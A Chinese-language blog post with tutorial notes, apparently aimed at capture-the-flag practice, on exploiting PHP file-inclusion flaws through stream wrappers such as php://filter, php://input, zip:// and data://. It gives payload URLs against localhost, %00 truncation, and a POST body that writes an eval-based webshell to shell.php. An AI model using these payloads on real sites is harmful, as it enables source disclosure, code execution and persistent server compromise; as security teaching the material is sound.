Yk2's Blog.

php伪协议实现命令执行

字数统计: 726阅读时长: 3 min
2019/11/01 Share
  • 单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

    航舰的文件包含函数:

  • include
  • require
  • include_once
  • hightlight_file
  • show_sourcce
  • readfile
  • file_get_contents
  • fopen
  • file
    封装协议:
  • file://
  • php://filter
  • php://input
  • zip://
  • compress.bzip2://
  • compress.zlib://
  • data://

    环境概要:

    php.ini:
    allow_url_fopen:on 默认开启 激活了URL形式的fopen封装协议使得可以访问URL对象文件
    allow_url_include:off 默认关闭,该选项on便是允许URL对象文件
  • PHP版本<=5.2可以使用%00进行截断

    0x01 是否需要截断?

    ①:不需要截断:
    1
    http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt<?phpinclude($_GET['file'])?>
    ②:需要截断:在php版本<=5.2中进行测试是可以使用%00截断的。
    1
    http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00<?phpinclude($_GET['file'].’.php’)?>

    0x02 allow_url_fopen与allow_url_include是否开启:

  • file://在双OFF下可以使用;
    在这里插入图片描述
    使用方法:
    1
    2
    file:// [文件的绝对路径和文件名]
    http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
  • php://
    条件:
    不需要开启allow_url_fopen,仅php://input,php://stdin,php://memory和php://temp需要开启allow_url_include.
    php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input.php://filter用于读取源码,php://input用于执行php代码.
    php://filter 读取源代码并进行base64编码编出,不然会直接当作php带啊执行就看不到源代码内容.
    1
    php://filter/convert.base64-[encode/decode]/resource=xxx
  • php://在双off下可以正常使用
    在这里插入图片描述
    实例:
    1
    2
    3
    4
    http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

    page=php://filter/read=convert.base64-encode/resource=index.php
    读取网页源码

这里还可以把read=string.tolower/resource=… 可以直接读取源码

  • php://input可以访问请求的原始数据的只读流,将pos请求中的数据作为php代码执行.
    实例:

    1
    2
    http://127.0.0.1/cmd.php?file=php://input
    [POST DATA]: <?php phpinfo();?>

    也可以post以下内容生成一句话:

    1
    2
    3
    4
    5

    <?
    php fputs(fopen(“shell.php”,”w”),
    ’<?php eval($_POST["cmd"];?>’);
    ?>
  • zip://,bzip://,zlib://协议在双off的情况下也可以正常使用
    上述均属于压缩流,可以访问压缩文件的子文件,更重要的是不需要指定后缀名

    • zip://
      使用方法:
      1
      zip://archive.zip#dir/file.txtzip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
      实例:
      1
      http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
  • zlib://协议

    1
    compress.zlib://file.gz

    测试现象:

    1
    http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpgorhttp://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
  • zlib可以打开.gz和.jpg

  • data://
    双On

    1
    http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>orhttp://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以:http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>orhttp://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
CATALOG
  1. 1. 航舰的文件包含函数:
  2. 2. 环境概要:
  3. 3. 0x01 是否需要截断?
  4. 4. 0x02 allow_url_fopen与allow_url_include是否开启: